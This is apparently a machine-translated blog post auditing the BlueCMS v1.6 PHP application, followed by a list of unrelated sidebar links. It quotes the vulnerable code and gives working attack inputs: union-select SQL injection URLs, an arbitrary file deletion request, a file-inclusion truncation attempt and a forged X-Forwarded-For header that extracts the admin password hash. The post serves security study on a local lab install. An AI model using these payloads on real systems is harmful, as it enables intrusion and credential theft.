当前位置:网站首页>Bluecmsv1.6 code audit
Bluecmsv1.6 code audit
2022-06-28 19:59:00 【qq_ forty-two million three hundred and seven thousand five hun】
This time is for a simple cms Conduct a code audit as a starter , Direct use seay Perform automated audits 
sql Injection vulnerability in file uploads/ad_js.php
Through here get Method acceptance ad_id Variables have no filters spliced into sql Statement and execute
define('IN_BLUE', true);
require_once dirname(__FILE__) . '/include/common.inc.php';
$ad_id = !empty($_GET['ad_id']) ? trim($_GET['ad_id']) : '';
if(empty($ad_id))
{
echo 'Error!';
exit();
}
$ad = $db->getone("SELECT * FROM ".table('ad')." WHERE ad_id =".$ad_id);
Follow me getone Function directly executes the statement
function getall($sql, $type=MYSQL_ASSOC){
$query = $this->query($sql);
while($row = mysql_fetch_array($query,$type)){
$rows[] = $row;
}
return $rows;
}
Verify vulnerability direct access uploads/ad_js.php?id=1’ A single quotation mark here indicates an error, indicating that there is an injection attempt to guess the number of fields
uploads/ad_js.php?ad_id=1%20order%20by%207%20–+
order by 7 It's normal to 8 Direct error reporting indicates that 7 A field
union select 1,2,3,4,5,6,7 --+
7 Is an explicit field , Here, if you look at the web page alone, there is no content. You must click to see the source code of the web page
union select 1,2,3,4,5,6,user() --+
View the current user
Any file deleted in uploads/publish.php
elseif($act == 'del_pic')
{
$id = $_REQUEST['id'];
$db->query("DELETE FROM ".table('post_pic').
" WHERE pic_path='$id'");
if(file_exists(BLUE_ROOT.$id))
{
@unlink(BLUE_ROOT.$id);
}
}
adopt request Method acceptance id File name and determine whether the file exists in the delete , Directly in uploads Create under directory
1.php, Direct access uploads/publish.php?act=del_pic&id=1.php
Any file contains
elseif ($act == 'pay'){
include 'data/pay.cache.php';
$price = $_POST['price'];
$id = $_POST['id'];
$name = $_POST['name'];
if (empty($_POST['pay'])) {
showmsg('�Բ�����û��ѡ��֧����ʽ');
}
include 'include/payment/'.$_POST['pay']."/index.php";
}
There will be post Over here pay Include but limit directories and files , You need to do this through truncation
adopt %00 Truncation failed
Truncate with the length of the lower path
① Conditions :windows OS, The dot needs to be longer than 256;linux OS Longer than 4096
Windows The maximum length of the following directory is 256 byte , The excess will be discarded
Linux The maximum length of the following directory is 4096 byte , The excess will be discarded
use . Number to fill
I don't know why they didn't succeed
Insert injection in the comment area ip The header information is inserted into the database without filtering , We can fake ip The header inserts multiple statements at once to explode the administrator's password
include/comment.php
f($act == 'send')
{
if(empty($id))
{
return false;
}
$user_id = $_SESSION['user_id'] ? $_SESSION['user_id'] : 0;
$mood = intval($_POST['mood']);
$content = !empty($_POST['comment']) ? htmlspecialchars($_POST['comment']) : '';
$content = nl2br($content);
$type = intval($_POST['type']);
if(empty($content))
{
showmsg('�������ݲ���Ϊ��');
}
if($_CFG['comment_is_check'] == 0)
{
$is_check = 1;
}
else
{
$is_check = 0;
}
$sql = "INSERT INTO ".table('comment')." (com_id, post_id, user_id, type, mood, content, pub_date, ip, is_check) VALUES ('', '$id', '$user_id', '$type', '$mood', '$content', '$timestamp', '".getip()."', '$is_check')";
$db->query($sql);
if($type == 1)
{
$db->query("UPDATE ".table('article')." SET comment = comment+1 WHERE id = ".$id);
}
elseif($type == 0)
{
$db->query("UPDATE ".table('post')." SET comment = comment+1 WHERE post_id = ".$id);
}
visit /uploads/comment.php?id=1
Write a comment and then bp Packet capture increases X-Forwarded-Fo Field of
POST /uploads/comment.php?act=send HTTP/1.1
Host: www.blue1.com:8080
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:101.0) Gecko/20100101 Firefox/101.0
X-Forwarded-For: 127.0.0.1','1'),('5', '1', '3', '0', '6', (select concat(admin_name,0x3e,pwd) from blue_admin), '1656396250', '127.0.0.1', '1')##
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Accept-Encoding: gzip, deflate
Content-Type: application/x-www-form-urlencoded
Content-Length: 66
Origin: http://www.blue1.com:8080
Connection: close
Referer: http://www.blue1.com:8080/uploads/comment.php?id=1&type=0
Cookie: detail=5; PHPSESSID=83e76a6a5b87ec8abf5aa6639a8571e9
Upgrade-Insecure-Requests: 1
mood=6&comment=ccccccc&id=1&type=0&submit=%CC%E1%BD%BB%C6%C0%C2%DB
Successfully output data 
边栏推荐
- csdn涨薪技术-Selenium自动化测试全栈总结
- 【324. 摆动排序 II】
- On the first anniversary of the data security law, which four major changes are coming?
- 行业分析| 快对讲,楼宇对讲
- Markdown drawing Mermaid practical tutorial
- 如何获取飞机穿过雷达两端的坐标
- 蓝桥杯 历届试题 蚂蚁感冒
- 2788.Cifera
- How strong a mathematical foundation does deep learning need?
- Xiaobai's e-commerce business is very important to choose the right mall system!
猜你喜欢

Autumn recruitment experience sharing | how to prepare for bank interview

How to learn JS through w3school / how to use the JS reference manual of w3school

Chunfeng power and Huawei work together to build a smart Park benchmark, and the future factory innovation will reach a new level

Markdown mermaid种草(1)_ mermaid简介

echart:横向柱状图的类目文字位置调整

严重性 代码 说明 项目 文件 行 禁止显示状态 错误 C1047 对象或库文件“.lib”是使用与其他对象(如“x64\Release\main.obj”)不同的

Figure introduction to neural networks (GNN, GCN)

Demo of integrated development of intelligent computing system 3 plugin

Digital collection, ten thousand words long text, most of the questions you want to know have been clearly explained, which must be seen by practitioners

视差js特效js轮播图插件
随机推荐
PCL calculation of center and radius of circumscribed circle of plane triangle
CSDN salary increase technology selenium automated test stack summary
5G NR MBS架构介绍
还在付费下论文吗?快来跟我一起白piao知网
秒杀系统设计
2837. The total number of teams
首部元宇宙概念小说《元宇宙2086》获得2022年上袭元宇宙奖
How to learn JS through w3school / how to use the JS reference manual of w3school
csdn涨薪技术-Selenium自动化测试全栈总结
[324. swing sequence II]
Bayesian inference problem, MCMC and variational inference
Quaternion quaternion and Euler angle Transformation in Ros
I. The HR system is put on the enterprise wechat ISV to enhance the in-depth application of enterprise wechat in service chain retail and other industries
如何通过W3school学习JS/如何使用W3school的JS参考手册
On the first anniversary of the data security law, which four major changes are coming?
Time series forecasting based on trend and seasonality
数字经济专家高泽龙:映客更名映宇宙,元宇宙会成为映客下一个增长引擎吗?
return new int[]{i + 1, mid + 1}; return {i + 1, mid + 1};
Figure introduction to neural networks (GNN, GCN)
Matlab 2D or 3D triangulation